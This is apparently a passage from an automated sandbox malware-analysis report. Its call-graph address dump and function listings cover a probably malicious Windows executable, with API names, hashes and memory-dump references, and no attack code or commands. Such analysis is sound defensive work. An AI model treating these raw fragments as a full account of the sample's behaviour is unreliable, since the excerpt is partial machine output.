7ff7ce6515e4 3830->3831 3832 7ff7ce651394 2 API calls 3831->3832 3833 7ff7ce6515f3 3832->3833 3833->3676 3835 7ff7ce651503 3834->3835 3836 7ff7ce651394 2 API calls 3834->3836 3837 7ff7ce651394 2 API calls 3835->3837 3836->3835 3838 7ff7ce65150d 3837->3838 3839 7ff7ce651512 3838->3839 3840 7ff7ce651394 2 API calls 3838->3840 3841 7ff7ce651394 2 API calls 3839->3841 3840->3839 3842 7ff7ce651521 3841->3842 3843 7ff7ce651394 2 API calls 3842->3843 3844 7ff7ce65152b 3843->3844 3845 7ff7ce651530 3844->3845 3846 7ff7ce651394 2 API calls 3844->3846 3847 7ff7ce651394 2 API calls 3845->3847 3846->3845 3848 7ff7ce65153a 3847->3848 3849 7ff7ce65153f 3848->3849 3850 7ff7ce651394 2 API calls 3848->3850 3851 7ff7ce651394 2 API calls 3849->3851 3850->3849 3852 7ff7ce65154e 3851->3852 3853 7ff7ce651394 2 API calls 3852->3853 3854 7ff7ce651558 3853->3854 3855 7ff7ce65155d 3854->3855 3856 7ff7ce651394 2 API calls 3854->3856 3857 7ff7ce651394 2 API calls 3855->3857 3856->3855 3858 7ff7ce651567 3857->3858 3859 7ff7ce65156c 3858->3859 3860 7ff7ce651394 2 API calls 3858->3860 3861 7ff7ce651394 2 API calls 3859->3861 3860->3859 3862 7ff7ce651576 3861->3862 3863 7ff7ce65157b 3862->3863 3864 7ff7ce651394 2 API calls 3862->3864 3865 7ff7ce651394 2 API calls 3863->3865 3864->3863 3866 7ff7ce651585 3865->3866 3867 7ff7ce65158a 3866->3867 3868 7ff7ce651394 2 API calls 3866->3868 3869 7ff7ce651394 2 API calls 3867->3869 3868->3867 3870 7ff7ce651599 3869->3870 3871 7ff7ce651394 2 API calls 3870->3871 3872 7ff7ce6515a3 3871->3872 3873 7ff7ce651394 2 API calls 3872->3873 3874 7ff7ce6515a8 3873->3874 3875 7ff7ce651394 2 API calls 3874->3875 3876 7ff7ce6515b7 3875->3876 3877 7ff7ce651394 2 API calls 3876->3877 3878 7ff7ce6515c6 3877->3878 3879 7ff7ce651394 2 API calls 3878->3879 3880 7ff7ce6515d5 3879->3880 3881 7ff7ce651394 2 API calls 3880->3881 3882 7ff7ce6515e4 3881->3882 3883 7ff7ce651394 2 API calls 3882->3883 3884 7ff7ce6515f3 3883->3884 3884->3699 3886 7ff7ce651394 2 API calls 3885->3886 3887 7ff7ce65142c 3886->3887 3888 7ff7ce651431 3887->3888 3889 7ff7ce651394 2 API calls 3887->3889 3890 7ff7ce651394 2 API calls 3888->3890 3889->3888 3891 7ff7ce65143b 3890->3891 3892 7ff7ce651440 3891->3892 3893 7ff7ce651394 2 API calls 3891->3893 3894 7ff7ce651394 2 API calls 3892->3894 3893->3892 3895 7ff7ce65144f 3894->3895 3896 7ff7ce651394 2 API calls 3895->3896 3897 7ff7ce651459 3896->3897 3898 7ff7ce65145e 3897->3898 3899 7ff7ce651394 2 API calls 3897->3899 3900 7ff7ce651394 2 API calls 3898->3900 3899->3898 3901 7ff7ce651468 3900->3901 3902 7ff7ce65146d 3901->3902 3903 7ff7ce651394 2 API calls 3901->3903 3904 7ff7ce651394 2 API calls 3902->3904 3903->3902 3905 7ff7ce651477 3904->3905 3906 7ff7ce65147c 3905->3906 3907 7ff7ce651394 2 API calls 3905->3907 3908 7ff7ce651394 2 API calls 3906->3908 3907->3906 3909 7ff7ce651486 3908->3909 3910 7ff7ce65148b 3909->3910 3911 7ff7ce651394 2 API calls 3909->3911 3912 7ff7ce651394 2 API calls 3910->3912 3911->3910 3913 7ff7ce651495 3912->3913 3914 7ff7ce651394 2 API calls 3913->3914 3915 7ff7ce65149a 3914->3915 3916 7ff7ce651394 2 API calls 3915->3916 3917 7ff7ce6514a9 3916->3917 3918 7ff7ce651394 2 API calls 3917->3918 3919 7ff7ce6514b8 3918->3919 3920 7ff7ce651394 2 API calls 3919->3920 3921 7ff7ce6514c7 3920->3921 3922 7ff7ce651394 2 API calls 3921->3922 3923 7ff7ce6514d6 3922->3923 3924 7ff7ce651394 2 API calls 3923->3924 3925 7ff7ce6514e5 3924->3925 3926 7ff7ce651394 2 API calls 3925->3926 3927 7ff7ce6514f4 3926->3927 3928 7ff7ce651503 3927->3928 3929 7ff7ce651394 2 API calls 3927->3929 3930 7ff7ce651394 2 API calls 3928->3930 3929->3928 3931 7ff7ce65150d 3930->3931 3932 7ff7ce651512 3931->3932 3933 7ff7ce651394 2 API calls 3931->3933 3934 7ff7ce651394 2 API calls 3932->3934 3933->3932 3935 7ff7ce651521 3934->3935 3936 7ff7ce651394 2 API calls 3935->3936 3937 7ff7ce65152b 3936->3937 3938 7ff7ce651530 3937->3938 3939 7ff7ce651394 2 API calls 3937->3939 3940 7ff7ce651394 2 API calls 3938->3940 3939->3938 3941 7ff7ce65153a 3940->3941 3942 7ff7ce65153f 3941->3942 3943 7ff7ce651394 2 API calls 3941->3943 3944 7ff7ce651394 2 API calls 3942->3944 3943->3942 3945 7ff7ce65154e 3944->3945 3946 7ff7ce651394 2 API calls 3945->3946 3947 7ff7ce651558 3946->3947 3948 7ff7ce65155d 3947->3948 3949 7ff7ce651394 2 API calls 3947->3949 3950 7ff7ce651394 2 API calls 3948->3950 3949->3948 3951 7ff7ce651567 3950->3951 3952 7ff7ce65156c 3951->3952 3953 7ff7ce651394 2 API calls 3951->3953 3954 7ff7ce651394 2 API calls 3952->3954 3953->3952 3955 7ff7ce651576 3954->3955 3956 7ff7ce65157b 3955->3956 3957 7ff7ce651394 2 API calls 3955->3957 3958 7ff7ce651394 2 API calls 3956->3958 3957->3956 3959 7ff7ce651585 3958->3959 3960 7ff7ce65158a 3959->3960 3961 7ff7ce651394 2 API calls 3959->3961 3962 7ff7ce651394 2 API calls 3960->3962 3961->3960 3963 7ff7ce651599 3962->3963 3964 7ff7ce651394 2 API calls 3963->3964 3965 7ff7ce6515a3 3964->3965 3966 7ff7ce651394 2 API calls 3965->3966 3967 7ff7ce6515a8 3966->3967 3968 7ff7ce651394 2 API calls 3967->3968 3969 7ff7ce6515b7 3968->3969 3970 7ff7ce651394 2 API calls 3969->3970 3971 7ff7ce6515c6 3970->3971 3972 7ff7ce651394 2 API calls 3971->3972 3973 7ff7ce6515d5 3972->3973 3974 7ff7ce651394 2 API calls 3973->3974 3975 7ff7ce6515e4 3974->3975 3976 7ff7ce651394 2 API calls 3975->3976 3977 7ff7ce6515f3 3976->3977 3977->3579 3979 7ff7ce651394 2 API calls 3978->3979 3980 7ff7ce65143b 3979->3980 3981 7ff7ce651440 3980->3981 3982 7ff7ce651394 2 API calls 3980->3982 3983 7ff7ce651394 2 API calls 3981->3983 3982->3981 3984 7ff7ce65144f 3983->3984 3985 7ff7ce651394 2 API calls 3984->3985 3986 7ff7ce651459 3985->3986 3987 7ff7ce65145e 3986->3987 3988 7ff7ce651394 2 API calls 3986->3988 3989 7ff7ce651394 2 API calls 3987->3989 3988->3987 3990 7ff7ce651468 3989->3990 3991 7ff7ce65146d 3990->3991 3992 7ff7ce651394 2 API calls 3990->3992 3993 7ff7ce651394 2 API calls 3991->3993 3992->3991 3994 7ff7ce651477 3993->3994 3995 7ff7ce65147c 3994->3995 3996 7ff7ce651394 2 API calls 3994->3996 3997 7ff7ce651394 2 API calls 3995->3997 3996->3995 3998 7ff7ce651486 3997->3998 3999 7ff7ce65148b 3998->3999 4000 7ff7ce651394 2 API calls 3998->4000 4001 7ff7ce651394 2 API calls 3999->4001 4000->3999 4002 7ff7ce651495 4001->4002 4003 7ff7ce651394 2 API calls 4002->4003 4004 7ff7ce65149a 4003->4004 4005 7ff7ce651394 2 API calls 4004->4005 4006 7ff7ce6514a9 4005->4006 4007 7ff7ce651394 2 API calls 4006->4007 4008 7ff7ce6514b8 4007->4008 4009 7ff7ce651394 2 API calls 4008->4009 4010 7ff7ce6514c7 4009->4010 4011 7ff7ce651394 2 API calls 4010->4011 4012 7ff7ce6514d6 4011->4012 4013 7ff7ce651394 2 API calls 4012->4013 4014 7ff7ce6514e5 4013->4014 4015 7ff7ce651394 2 API calls 4014->4015 4016 7ff7ce6514f4 4015->4016 4017 7ff7ce651503 4016->4017 4018 7ff7ce651394 2 API calls 4016->4018 4019 7ff7ce651394 2 API calls 4017->4019 4018->4017 4020 7ff7ce65150d 4019->4020 4021 7ff7ce651512 4020->4021 4022 7ff7ce651394 2 API calls 4020->4022 4023 7ff7ce651394 2 API calls 4021->4023 4022->4021 4024 7ff7ce651521 4023->4024 4025 7ff7ce651394 2 API calls 4024->4025 4026 7ff7ce65152b 4025->4026 4027 7ff7ce651530 4026->4027 4028 7ff7ce651394 2 API calls 4026->4028 4029 7ff7ce651394 2 API calls 4027->4029 4028->4027 4030 7ff7ce65153a 4029->4030 4031 7ff7ce65153f 4030->4031 4032 7ff7ce651394 2 API calls 4030->4032 4033 7ff7ce651394 2 API calls 4031->4033 4032->4031 4034 7ff7ce65154e 4033->4034 4035 7ff7ce651394 2 API calls 4034->4035 4036 7ff7ce651558 4035->4036 4037 7ff7ce65155d 4036->4037 4038 7ff7ce651394 2 API calls 4036->4038 4039 7ff7ce651394 2 API calls 4037->4039 4038->4037 4040 7ff7ce651567 4039->4040 4041 7ff7ce65156c 4040->4041 4042 7ff7ce651394 2 API calls 4040->4042 4043 7ff7ce651394 2 API calls 4041->4043 4042->4041 4044 7ff7ce651576 4043->4044 4045 7ff7ce65157b 4044->4045 4046 7ff7ce651394 2 API calls 4044->4046 4047 7ff7ce651394 2 API calls 4045->4047 4046->4045 4048 7ff7ce651585 4047->4048 4049 7ff7ce65158a 4048->4049 4050 7ff7ce651394 2 API calls 4048->4050 4051 7ff7ce651394 2 API calls 4049->4051 4050->4049 4052 7ff7ce651599 4051->4052 4053 7ff7ce651394 2 API calls 4052->4053 4054 7ff7ce6515a3 4053->4054 4055 7ff7ce651394 2 API calls 4054->4055 4056 7ff7ce6515a8 4055->4056 4057 7ff7ce651394 2 API calls 4056->4057 4058 7ff7ce6515b7 4057->4058 4059 7ff7ce651394 2 API calls 4058->4059 4060 7ff7ce6515c6 4059->4060 4061 7ff7ce651394 2 API calls 4060->4061 4062 7ff7ce6515d5 4061->4062 4063 7ff7ce651394 2 API calls 4062->4063 4064 7ff7ce6515e4 4063->4064 4065 7ff7ce651394 2 API calls 4064->4065 4066 7ff7ce6515f3 4065->4066 4066->3582 4068 7ff7ce651394 2 API calls 4067->4068 4069 7ff7ce6514c7 4068->4069 4070 7ff7ce651394 2 API calls 4069->4070 4071 7ff7ce6514d6 4070->4071 4072 7ff7ce651394 2 API calls 4071->4072 4073 7ff7ce6514e5 4072->4073 4074 7ff7ce651394 2 API calls 4073->4074 4075 7ff7ce6514f4 4074->4075 4076 7ff7ce651503 4075->4076 4077 7ff7ce651394 2 API calls 4075->4077 4078 7ff7ce651394 2 API calls 4076->4078 4077->4076 4079 7ff7ce65150d 4078->4079 4080 7ff7ce651512 4079->4080 4081 7ff7ce651394 2 API calls 4079->4081 4082 7ff7ce651394 2 API calls 4080->4082 4081->4080 4083 7ff7ce651521 4082->4083 4084 7ff7ce651394 2 API calls 4083->4084 4085 7ff7ce65152b 4084->4085 4086 7ff7ce651530 4085->4086 4087 7ff7ce651394 2 API calls 4085->4087 4088 7ff7ce651394 2 API calls 4086->4088 4087->4086 4089 7ff7ce65153a 4088->4089 4090 7ff7ce65153f 4089->4090 4091 7ff7ce651394 2 API calls 4089->4091 4092 7ff7ce651394 2 API calls 4090->4092 4091->4090 4093 7ff7ce65154e 4092->4093 4094 7ff7ce651394 2 API calls 4093->4094 4095 7ff7ce651558 4094->4095 4096 7ff7ce65155d 4095->4096 4097 7ff7ce651394 2 API calls 4095->4097 4098 7ff7ce651394 2 API calls 4096->4098 4097->4096 4099 7ff7ce651567 4098->4099 4100 7ff7ce65156c 4099->4100 4101 7ff7ce651394 2 API calls 4099->4101 4102 7ff7ce651394 2 API calls 4100->4102 4101->4100 4103 7ff7ce651576 4102->4103 4104 7ff7ce65157b 4103->4104 4105 7ff7ce651394 2 API calls 4103->4105 4106 7ff7ce651394 2 API calls 4104->4106 4105->4104 4107 7ff7ce651585 4106->4107 4108 7ff7ce65158a 4107->4108 4109 7ff7ce651394 2 API calls 4107->4109 4110 7ff7ce651394 2 API calls 4108->4110 4109->4108 4111 7ff7ce651599 4110->4111 4112 7ff7ce651394 2 API calls 4111->4112 4113 7ff7ce6515a3 4112->4113 4114 7ff7ce651394 2 API calls 4113->4114 4115 7ff7ce6515a8 4114->4115 4116 7ff7ce651394 2 API calls 4115->4116 4117 7ff7ce6515b7 4116->4117 4118 7ff7ce651394 2 API calls 4117->4118 4119 7ff7ce6515c6 4118->4119 4120 7ff7ce651394 2 API calls 4119->4120 4121 7ff7ce6515d5 4120->4121 4122 7ff7ce651394 2 API calls 4121->4122 4123 7ff7ce6515e4 4122->4123 4124 7ff7ce651394 2 API calls 4123->4124 4125 7ff7ce6515f3 4124->4125 4125->3657 4127 7ff7ce651394 2 API calls 4126->4127 4128 7ff7ce6515e4 4127->4128 4129 7ff7ce651394 2 API calls 4128->4129 4130 7ff7ce6515f3 4129->4130 4130->3657 4132 7ff7ce651394 2 API calls 4131->4132 4133 7ff7ce651495 4132->4133 4134 7ff7ce651394 2 API calls 4133->4134 4135 7ff7ce65149a 4134->4135 4136 7ff7ce651394 2 API calls 4135->4136 4137 7ff7ce6514a9 4136->4137 4138 7ff7ce651394 2 API calls 4137->4138 4139 7ff7ce6514b8 4138->4139 4140 7ff7ce651394 2 API calls 4139->4140 4141 7ff7ce6514c7 4140->4141 4142 7ff7ce651394 2 API calls 4141->4142 4143 7ff7ce6514d6 4142->4143 4144 7ff7ce651394 2 API calls 4143->4144 4145 7ff7ce6514e5 4144->4145 4146 7ff7ce651394 2 API calls 4145->4146 4147 7ff7ce6514f4 4146->4147 4148 7ff7ce651503 4147->4148 4149 7ff7ce651394 2 API calls 4147->4149 4150 7ff7ce651394 2 API calls 4148->4150 4149->4148 4151 7ff7ce65150d 4150->4151 4152 7ff7ce651512 4151->4152 4153 7ff7ce651394 2 API calls 4151->4153 4154 7ff7ce651394 2 API calls 4152->4154 4153->4152 4155 7ff7ce651521 4154->4155 4156 7ff7ce651394 2 API calls 4155->4156 4157 7ff7ce65152b 4156->4157 4158 7ff7ce651530 4157->4158 4159 7ff7ce651394 2 API calls 4157->4159 4160 7ff7ce651394 2 API calls 4158->4160 4159->4158 4161 7ff7ce65153a 4160->4161 4162 7ff7ce65153f 4161->4162 4163 7ff7ce651394 2 API calls 4161->4163 4164 7ff7ce651394 2 API calls 4162->4164 4163->4162 4165 7ff7ce65154e 4164->4165 4166 7ff7ce651394 2 API calls 4165->4166 4167 7ff7ce651558 4166->4167 4168 7ff7ce65155d 4167->4168 4169 7ff7ce651394 2 API calls 4167->4169 4170 7ff7ce651394 2 API calls 4168->4170 4169->4168 4171 7ff7ce651567 4170->4171 4172 7ff7ce65156c 4171->4172 4173 7ff7ce651394 2 API calls 4171->4173 4174 7ff7ce651394 2 API calls 4172->4174 4173->4172 4175 7ff7ce651576 4174->4175 4176 7ff7ce65157b 4175->4176 4177 7ff7ce651394 2 API calls 4175->4177 4178 7ff7ce651394 2 API calls 4176->4178 4177->4176 4179 7ff7ce651585 4178->4179 4180 7ff7ce65158a 4179->4180 4181 7ff7ce651394 2 API calls 4179->4181 4182 7ff7ce651394 2 API calls 4180->4182 4181->4180 4183 7ff7ce651599 4182->4183 4184 7ff7ce651394 2 API calls 4183->4184 4185 7ff7ce6515a3 4184->4185 4186 7ff7ce651394 2 API calls 4185->4186 4187 7ff7ce6515a8 4186->4187 4188 7ff7ce651394 2 API calls 4187->4188 4189 7ff7ce6515b7 4188->4189 4190 7ff7ce651394 2 API calls 4189->4190 4191 7ff7ce6515c6 4190->4191 4192 7ff7ce651394 2 API calls 4191->4192 4193 7ff7ce6515d5 4192->4193 4194 7ff7ce651394 2 API calls 4193->4194 4195 7ff7ce6515e4 4194->4195 4196 7ff7ce651394 2 API calls 4195->4196 4197 7ff7ce6515f3 4196->4197 4197->3656 4198 7ff7ce65149a 4197->4198 4199 7ff7ce651394 2 API calls 4198->4199 4200 7ff7ce6514a9 4199->4200 4201 7ff7ce651394 2 API calls 4200->4201 4202 7ff7ce6514b8 4201->4202 4203 7ff7ce651394 2 API calls 4202->4203 4204 7ff7ce6514c7 4203->4204 4205 7ff7ce651394 2 API calls 4204->4205 4206 7ff7ce6514d6 4205->4206 4207 7ff7ce651394 2 API calls 4206->4207 4208 7ff7ce6514e5 4207->4208 4209 7ff7ce651394 2 API calls 4208->4209 4210 7ff7ce6514f4 4209->4210 4211 7ff7ce651503 4210->4211 4212 7ff7ce651394 2 API calls 4210->4212 4213 7ff7ce651394 2 API calls 4211->4213 4212->4211 4214 7ff7ce65150d 4213->4214 4215 7ff7ce651512 4214->4215 4216 7ff7ce651394 2 API calls 4214->4216 4217 7ff7ce651394 2 API calls 4215->4217 4216->4215 4218 7ff7ce651521 4217->4218 4219 7ff7ce651394 2 API calls 4218->4219 4220 7ff7ce65152b 4219->4220 4221 7ff7ce651530 4220->4221 4222 7ff7ce651394 2 API calls 4220->4222 4223 7ff7ce651394 2 API calls 4221->4223 4222->4221 4224 7ff7ce65153a 4223->4224 4225 7ff7ce65153f 4224->4225 4226 7ff7ce651394 2 API calls 4224->4226 4227 7ff7ce651394 2 API calls 4225->4227 4226->4225 4228 7ff7ce65154e 4227->4228 4229 7ff7ce651394 2 API calls 4228->4229 4230 7ff7ce651558 4229->4230 4231 7ff7ce65155d 4230->4231 4232 7ff7ce651394 2 API calls 4230->4232 4233 7ff7ce651394 2 API calls 4231->4233 4232->4231 4234 7ff7ce651567 4233->4234 4235 7ff7ce65156c 4234->4235 4236 7ff7ce651394 2 API calls 4234->4236 4237 7ff7ce651394 2 API calls 4235->4237 4236->4235 4238 7ff7ce651576 4237->4238 4239 7ff7ce65157b 4238->4239 4240 7ff7ce651394 2 API calls 4238->4240 4241 7ff7ce651394 2 API calls 4239->4241 4240->4239 4242 7ff7ce651585 4241->4242 4243 7ff7ce65158a 4242->4243 4244 7ff7ce651394 2 API calls 4242->4244 4245 7ff7ce651394 2 API calls 4243->4245 4244->4243 4246 7ff7ce651599 4245->4246 4247 7ff7ce651394 2 API calls 4246->4247 4248 7ff7ce6515a3 4247->4248 4249 7ff7ce651394 2 API calls 4248->4249 4250 7ff7ce6515a8 4249->4250 4251 7ff7ce651394 2 API calls 4250->4251 4252 7ff7ce6515b7 4251->4252 4253 7ff7ce651394 2 API calls 4252->4253 4254 7ff7ce6515c6 4253->4254 4255 7ff7ce651394 2 API calls 4254->4255 4256 7ff7ce6515d5 4255->4256 4257 7ff7ce651394 2 API calls 4256->4257 4258 7ff7ce6515e4 4257->4258 4259 7ff7ce651394 2 API calls 4258->4259 4260 7ff7ce6515f3 4259->4260 4260->3656 4260->3661 4262 7ff7ce651394 2 API calls 4261->4262 4263 7ff7ce651486 4262->4263 4264 7ff7ce65148b 4263->4264 4265 7ff7ce651394 2 API calls 4263->4265 4266 7ff7ce651394 2 API calls 4264->4266 4265->4264 4267 7ff7ce651495 4266->4267 4268 7ff7ce651394 2 API calls 4267->4268 4269 7ff7ce65149a 4268->4269 4270 7ff7ce651394 2 API calls 4269->4270 4271 7ff7ce6514a9 4270->4271 4272 7ff7ce651394 2 API calls 4271->4272 4273 7ff7ce6514b8 4272->4273 4274 7ff7ce651394 2 API calls 4273->4274 4275 7ff7ce6514c7 4274->4275 4276 7ff7ce651394 2 API calls 4275->4276 4277 7ff7ce6514d6 4276->4277 4278 7ff7ce651394 2 API calls 4277->4278 4279 7ff7ce6514e5 4278->4279 4280 7ff7ce651394 2 API calls 4279->4280 4281 7ff7ce6514f4 4280->4281 4282 7ff7ce651503 4281->4282 4283 7ff7ce651394 2 API calls 4281->4283 4284 7ff7ce651394 2 API calls 4282->4284 4283->4282 4285 7ff7ce65150d 4284->4285 4286 7ff7ce651512 4285->4286 4287 7ff7ce651394 2 API calls 4285->4287 4288 7ff7ce651394 2 API calls 4286->4288 4287->4286 4289 7ff7ce651521 4288->4289 4290 7ff7ce651394 2 API calls 4289->4290 4291 7ff7ce65152b 4290->4291 4292 7ff7ce651530 4291->4292 4293 7ff7ce651394 2 API calls 4291->4293 4294 7ff7ce651394 2 API calls 4292->4294 4293->4292 4295 7ff7ce65153a 4294->4295 4296 7ff7ce65153f 4295->4296 4297 7ff7ce651394 2 API calls 4295->4297 4298 7ff7ce651394 2 API calls 4296->4298 4297->4296 4299 7ff7ce65154e 4298->4299 4300 7ff7ce651394 2 API calls 4299->4300 4301 7ff7ce651558 4300->4301 4302 7ff7ce65155d 4301->4302 4303 7ff7ce651394 2 API calls 4301->4303 4304 7ff7ce651394 2 API calls 4302->4304 4303->4302 4305 7ff7ce651567 4304->4305 4306 7ff7ce65156c 4305->4306 4307 7ff7ce651394 2 API calls 4305->4307 4308 7ff7ce651394 2 API calls 4306->4308 4307->4306 4309 7ff7ce651576 4308->4309 4310 7ff7ce65157b 4309->4310 4311 7ff7ce651394 2 API calls 4309->4311 4312 7ff7ce651394 2 API calls 4310->4312 4311->4310 4313 7ff7ce651585 4312->4313 4314 7ff7ce65158a 4313->4314 4315 7ff7ce651394 2 API calls 4313->4315 4316 7ff7ce651394 2 API calls 4314->4316 4315->4314 4317 7ff7ce651599 4316->4317 4318 7ff7ce651394 2 API calls 4317->4318 4319 7ff7ce6515a3 4318->4319 4320 7ff7ce651394 2 API calls 4319->4320 4321 7ff7ce6515a8 4320->4321 4322 7ff7ce651394 2 API calls 4321->4322 4323 7ff7ce6515b7 4322->4323 4324 7ff7ce651394 2 API calls 4323->4324 4325 7ff7ce6515c6 4324->4325 4326 7ff7ce651394 2 API calls 4325->4326 4327 7ff7ce6515d5 4326->4327 4328 7ff7ce651394 2 API calls 4327->4328 4329 7ff7ce6515e4 4328->4329 4330 7ff7ce651394 2 API calls 4329->4330 4331 7ff7ce6515f3 4330->4331 4331->3666 4333 7ff7ce651394 2 API calls 4332->4333 4334 7ff7ce6515d5 4333->4334 4335 7ff7ce651394 2 API calls 4334->4335 4336 7ff7ce6515e4 4335->4336 4337 7ff7ce651394 2 API calls 4336->4337 4338 7ff7ce6515f3 4337->4338 4338->3667 4357 7ff7ce651000 4358 7ff7ce65108b __set_app_type 4357->4358 4359 7ff7ce651040 4357->4359 4360 7ff7ce6510b6 4358->4360 4359->4358 4361 7ff7ce6510e5 4360->4361 4363 7ff7ce651e00 4360->4363 4364 7ff7ce6588e0 __setusermatherr 4363->4364 4365 7ff7ce651800 4366 7ff7ce651812 4365->4366 4367 7ff7ce651835 fprintf 4366->4367 4434 7ff7ce652320 strlen 4435 7ff7ce652337 4434->4435

                                                        Executed Functions

                                                        Function 00007FF7CE651160 Relevance: 13.6, APIs: 9, Instructions: 130sleepstringCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000017.00000002.1731737550.00007FF7CE651000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7CE650000, based on PE: true
                                                        • Associated: 00000017.00000002.1731577427.00007FF7CE650000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731808239.00007FF7CE659000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731831081.00007FF7CE65B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1732044569.00007FF7CE8D4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_23_2_7ff7ce650000_nxafyjrvtamb.jbxd
                                                        Similarity
                                                        • API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
                                                        • String ID:
                                                        • API String ID: 2643109117-0
                                                        • Opcode ID: a0ffc3490043a5ec0224fbf99dd79e396836b501958e2054e0e50db8326e6d65
                                                        • Instruction ID: 5215fdc51426935ed57322baf439a31c044fb939e4d211a82e39465be114b5b4
                                                        • Opcode Fuzzy Hash: a0ffc3490043a5ec0224fbf99dd79e396836b501958e2054e0e50db8326e6d65
                                                        • Instruction Fuzzy Hash: 42513A32B2BE4285F610BF15E954779A7A2BF447B0F806835C99E777A1DE2CA8518320
                                                        Function 00007FF7CE651394 Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        • NtSetInformationJobObject.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CE651156), ref: 00007FF7CE6513F7
                                                        Memory Dump Source
                                                        • Source File: 00000017.00000002.1731737550.00007FF7CE651000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7CE650000, based on PE: true
                                                        • Associated: 00000017.00000002.1731577427.00007FF7CE650000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731808239.00007FF7CE659000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731831081.00007FF7CE65B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1732044569.00007FF7CE8D4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_23_2_7ff7ce650000_nxafyjrvtamb.jbxd
                                                        Similarity
                                                        • API ID: InformationObject
                                                        • String ID:
                                                        • API String ID: 1757262956-0
                                                        • Opcode ID: cd03112ebaf99cbb6466dcf9251231c7b26ec386537855b10847fe955aa9cd16
                                                        • Instruction ID: 5630ef5e6bd445761c0c66d3e08f6743bde1b1ff52c1c36141efd6b802f9929c
                                                        • Opcode Fuzzy Hash: cd03112ebaf99cbb6466dcf9251231c7b26ec386537855b10847fe955aa9cd16
                                                        • Instruction Fuzzy Hash: A2F0EC71A1EF4582D624EF61F85002AB7A2FB483A0F804835E9DC73725DF3CE0508B60

                                                        Non-executed Functions

                                                        Function 00007FF7CE653350 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 206COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000017.00000002.1731737550.00007FF7CE651000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7CE650000, based on PE: true
                                                        • Associated: 00000017.00000002.1731577427.00007FF7CE650000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731808239.00007FF7CE659000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731831081.00007FF7CE65B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1732044569.00007FF7CE8D4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_23_2_7ff7ce650000_nxafyjrvtamb.jbxd
                                                        Similarity
                                                        • API ID: memset$wcscatwcscpywcslen
                                                        • String ID: $0$0$@$@
                                                        • API String ID: 4263182637-1413854666
                                                        • Opcode ID: 40d7259d852e47ddac544e186741332a1f948fa8e89339b32051cf185db2f54d
                                                        • Instruction ID: a89a6247c7cac873650486fb6540c4889f81e3b52606279da4985e10b9af15a9
                                                        • Opcode Fuzzy Hash: 40d7259d852e47ddac544e186741332a1f948fa8e89339b32051cf185db2f54d
                                                        • Instruction Fuzzy Hash: 1BB19F21A1CAC685F321AF25E4453BAB7A1FF80764F801135EAC877A99DF7CD255CB10
                                                        Function 00007FF7CE652690 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 322COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000017.00000002.1731737550.00007FF7CE651000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7CE650000, based on PE: true
                                                        • Associated: 00000017.00000002.1731577427.00007FF7CE650000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731808239.00007FF7CE659000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731831081.00007FF7CE65B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1732044569.00007FF7CE8D4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_23_2_7ff7ce650000_nxafyjrvtamb.jbxd
                                                        Similarity
                                                        • API ID: wcslen$memsetwcscatwcscpywcsncmp
                                                        • String ID: 0$X$`
                                                        • API String ID: 329590056-2527496196
                                                        • Opcode ID: 181e691e6867ff06e7ee34f4d8ce11b7f7ef989851e3521f984727f4b8a48499
                                                        • Instruction ID: 63431286f464534f1ed3f208c2733c9264b96aed935791d894b3feba8f6081ea
                                                        • Opcode Fuzzy Hash: 181e691e6867ff06e7ee34f4d8ce11b7f7ef989851e3521f984727f4b8a48499
                                                        • Instruction Fuzzy Hash: 2402AF22A19F8285E720AF15E8043AAB7A5FB847B4F805235DADC237E5DF7CD255C720
                                                        Function 00007FF7CE651BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106memoryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        • VirtualQuery.KERNEL32(?,?,?,?,00007FF7CE65A4D8,00007FF7CE65A4D8,?,?,00007FF7CE650000,?,00007FF7CE651991), ref: 00007FF7CE651C63
                                                        • VirtualProtect.KERNEL32(?,?,?,?,00007FF7CE65A4D8,00007FF7CE65A4D8,?,?,00007FF7CE650000,?,00007FF7CE651991), ref: 00007FF7CE651CC7
